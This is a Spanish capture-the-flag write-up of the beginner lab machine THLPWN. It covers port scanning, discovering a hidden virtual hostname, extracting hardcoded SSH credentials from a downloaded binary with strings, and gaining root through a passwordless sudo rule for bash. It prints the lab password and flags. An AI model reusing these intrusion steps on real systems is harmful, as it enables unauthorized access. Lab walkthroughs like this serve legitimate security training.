CorvusDDosKRom

The Hackers Labs: THLPWN

Principiante

THLPWN es una máquina de nivel principiante en The Hackers Labs.

Linux
The Hackers Labs
Virtual Hosting Binary Analysis strings sudo

THLPWN

Plataforma: The Hackers Labs

Dificultad: Principiante

🔗 Link de la máquina: https://labs.thehackerslabs.com

THLPWN

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN thlpwn.txt 192.168.100.6
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-20 19:26 -0300
Nmap scan report for 192.168.100.6
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:00:A5:81 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN thlpwn.txt: Guarda los resultados en el archivo “thlpwn.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 9.2p1)
  • 80/tcp - HTTP (nginx 1.22.1) — título: “403 Forbidden”

Exploración Web

Al acceder a http://192.168.100.6/ nos encontramos con un 403 Forbidden. Sin embargo, la página no es un error genérico de nginx — tiene contenido personalizado con una pista explícita:

403 Forbidden

“This server uses virtual hosting. You need to discover the correct hostname.”

La página nos indica que el servidor usa virtual hosting y debemos encontrar el hostname correcto para acceder al contenido real.


Descubrimiento del Hostname

Inspeccionamos el código fuente de la página 403. Entre los estilos CSS encontramos un comentario oculto:

<!--thlpwn.thl-->

El hostname está embebido como comentario HTML dentro del bloque de estilos. Añadimos la entrada al archivo /etc/hosts:

echo "192.168.100.6 thlpwn.thl" | sudo tee -a /etc/hosts

Acceso al Sitio Web

Con el hostname configurado, accedemos a http://thlpwn.thl/:

THLPWN Web

La página muestra una plataforma “THLPWN - Secure Platform for Advanced Users” con un formulario y varios enlaces en el pie: Admin Panel, API Documentation, Downloads, Backups y Uploads.


Análisis de la Sección Downloads

Navegamos a http://thlpwn.thl/downloads/:

Downloads

La sección expone un binario ELF llamado auth_checker (16588 bytes), descrito como una “Authentication tool with known security issues”. La propia página nos da pistas sobre cómo analizarlo y nos indica que al explotarlo correctamente revelará credenciales SSH. Lo descargamos:

wget http://thlpwn.thl/downloads/auth_checker

Análisis del Binario

Analizamos el binario con strings para extraer cadenas de texto legibles:

strings auth_checker

Entre la salida encontramos las credenciales SSH hardcodeadas en el binario:

   THLPWN Authentication Checker
   Version 1.0 - Secure System
 VULNERABILITY EXPLOITED SUCCESSFULLY!
  SSH Access Credentials:
  ========================
  Username: thluser
  Password: 9Kx7mP2wQ5nL8vT4bR6zY
  Connect with:
  ssh thluser@xxx.xxx.xxx.xxx
  First Flag Location:
  cat ~/flag.txt

Credenciales obtenidas:

  • Usuario: thluser
  • Contraseña: 9Kx7mP2wQ5nL8vT4bR6zY

Acceso Inicial

Con las credenciales extraídas del binario, nos conectamos por SSH:

ssh thluser@192.168.100.6

SSH

Acceso obtenido como thluser. Leemos la flag de usuario:

cat flag.txt
THL{3x7K9mL2pQ8vW5nR4zT6yH}

User Flag


Escalada de Privilegios

Enumeración sudo

Verificamos los permisos sudo del usuario thluser:

sudo -l
Matching Defaults entries for thluser on thlpwn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User thluser may run the following commands on thlpwn:
    (ALL) NOPASSWD: /bin/bash

sudo -l

El usuario puede ejecutar /bin/bash como root sin contraseña. Ejecutamos:

sudo /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Privesc

Leemos la flag de root:

cat /root/root.txt
THL{9sT2mK7xQ5pL3wV8nZ6bR4}

Root Flag


¡Root conseguido!

Hemos completado exitosamente la máquina THLPWN de The Hackers Labs.